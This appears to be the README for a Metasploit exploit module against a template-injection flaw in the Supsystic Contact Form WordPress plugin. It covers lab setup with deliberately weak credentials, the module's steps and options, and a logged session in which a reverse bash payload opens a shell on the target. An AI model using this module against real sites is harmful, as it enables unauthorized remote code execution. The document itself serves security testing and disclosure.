README.md
Rendering markdown...
## Vulnerable Application
This module exploits a Server Side Template Injection vulnerability in
the Wordpress plugin "Contact Form" by Supsystic versions 1.7.36 and before.
The vulnerability exists in the `generateHtml()` function of the `formsViewCfs`
class, which accepts user-controlled input via any one of the Contact Form
field parameters given it is of an appropriate type (see the FIELD option for
further clarification).
Tested Contact Form version 1.7.36 on Ubuntu 24.04 and Windows 10.
## Setup
### Install XAMPP
https://sourceforge.net/projects/xampp/
~~~bash
sudo ~/Downloads/xampp-linux-x64-8.2.12-0-installer.run
~~~
#### Add LAMPP Binaries to PATH
~~~bash
echo 'export PATH="/opt/lampp/bin:$PATH"' >> ~/.bash_profile
~~~
### Download Wordpress
https://developer.wordpress.org/advanced-administration/before-install/howto-install/
Download the wordpress zip from https://wordpress.org/download/
~~~bash
sudo mkdir /opt/lampp/htdocs/wordpress
sudo cp ~/Downloads/wordpress-6.9.4.zip /opt/lampp/htdocs/wordpress/
cd /opt/lampp/htdocs/wordpress/
sudo 7z x wordpress-6.9.4.zip
~~~
### Create Wordpress Database
#### Login as root
*Just hit enter when prompted for the password.
~~~
mysql -u root -p
Enter password:
~~~
#### Create Wordpress Database
~~~sql
CREATE DATABASE wordpress_db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
~~~
### Configure Wordpress
#### Configure Database
~~~
sudo mv wp-config-sample.php wp-config.php
~~~
Your config should look like this if you're going to use the root database user.
~~~
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );
/** Database username */
define( 'DB_USER', 'root' );
/** Database password */
define( 'DB_PASSWORD', '' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
~~~
#### Configure Site
When you first connect you'll be redirected to http://localhost/wordpress/wp-admin/install.php
Site Title: ContactFormTest
Username: admin1
Password: password123
Email: [email protected]
## Contact Form Wordpress Plugin
https://wordpress.org/plugins/contact-form-by-supsystic/advanced/
Go to "Advanced View", Then scroll down to "Previous Versions" and select 1.7.36 and Download
### Installation
1. Download Contact Form plugin
2. Unarchive contact-form-by-supsystic.zip
3. Move contents to \wp-content\plugins\
4. Go to admin panel => open item “Plugins” => activate Contact Form Builder by Supsystic
#### 2. Unarchive contact-form-by-supsystic.zip
~~~bash
7z x contact-form-by-supsystic.1.7.36.zip
sudo cp -r contact-form-by-supsystic /opt/lampp/htdocs/wordpress/wp-content/plugins
sudo chown -R www-data:www-data /opt/lampp/htdocs/wordpress/wp-content/plugins/contact-form-by-supsystic
sudo chmod -R 755 /opt/lampp/htdocs/wordpress/wp-content/plugins/contact-form-by-supsystic
~~~
### Use Plugin
https://supsystic.com/documentation/contact-form-getting-started?utm_source=wordpress&utm_medium=gettingstarted&utm_campaign=contactform
The "Shortcode" is located at the top of the page, just to the right of "Edit"
Example shortcode:
~~~
[supsystic-form id=11]
~~~
Copy and paste that into the Sample Page
It should automatically place it in a "Shortcode" block when you paste.
## Verification Steps
1. Start `msfconsole`
2. `use exploit/multi/http/wp_plugin_supsystic_contact_form_rce`
3. `set RHOSTS <target>`
4. `set TARGETURI <uri to page with contact form>` (e.g., `/wordpress/index.php/sample-page/`)
5. `set FIELD <contact form field>` (e.g., `email` or `first_name`)
6. `set LHOST <your_ip>`
7. `check`
8. `exploit`
## Options
### FIELD
The field used to inject the payload. Must be a valid field used by the Contact
Form of an appropriate type.
The field types that accept user input and have been confirmed to lead to RCE
are Text, Textarea, Number, Email, Time, and URL. Button field types do not
work.
The default fields are first_name, last_name, subject, message, and email,
though anyone of these can be changed or removed.
If the FIELD isn't passed the module will attempt to derive them from the html,
however no type detection is performed so the detected field could be of an
invalid type. Only the first derived field is used, but you can manually try
the others that are output.
## Scenarios
### Exploiting Contact Form by Supsystic 1.7.36 to obtain reverse shell
~~~
msf > use exploit/multi/http/wp_plugin_supsystic_contact_form_rce
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > set rhost 10.0.0.45
rhost => 10.0.0.45
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > set targeturi /wordpress/index.php/sample-page/
targeturi => /wordpress/index.php/sample-page/
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > set lhost 10.0.0.218
lhost => 10.0.0.218
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > set ssl false
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
msf exploit(multi/http/wp_plugin_supsystic_contact_form_rce) > exploit
[*] Started reverse TCP handler on 10.0.0.218:4444
[+] Found fields: first_name, last_name, email, subject, message, select, url, number, send, time, reset
[*] Using detected field: first_name
[*] Command shell session 1 opened (10.0.0.218:4444 -> 10.0.0.45:37848) at 2026-04-08 12:46:37 -0400
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
~~~